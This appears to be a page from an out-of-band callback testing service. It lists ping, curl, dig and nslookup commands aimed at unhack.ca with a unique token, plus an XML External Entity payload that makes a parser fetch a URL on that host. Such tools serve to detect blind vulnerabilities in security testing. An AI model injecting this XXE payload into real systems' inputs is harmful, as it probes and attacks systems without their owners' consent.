$ ping -c1 -p 00a1f31645871f50b4b18a290e32ef00 unhack.ca
 
$ curl http://unhack.ca/p/a1f31645871f50b4b18a290e32ef
 
$ dig a1f31645871f50b4b18a290e32ef @unhack.ca
 
$ dig a1f31645871f50b4b18a290e32ef.ns.unhack.ca
 
C:\> nslookup a1f31645871f50b4b18a290e32ef unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a1f31645871f50b4b18a290e32ef">]>
    <foo>&xxe;</foo>
 
Waiting for ping...